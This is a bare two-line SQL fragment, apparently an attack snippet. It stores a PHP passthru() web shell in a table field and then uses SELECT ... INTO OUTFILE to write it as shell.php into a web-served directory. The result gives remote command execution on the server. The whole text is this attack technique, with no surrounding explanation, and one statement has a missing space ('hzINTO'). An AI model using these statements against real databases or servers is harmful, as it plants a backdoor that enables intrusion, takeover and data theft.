UPDATE table SET hz='<? passthru("$cmd"); ?>'WHERE id=1;
SELECT hzINTO OUTFILE '/home/user/www/shell.php' FROM table where id=1;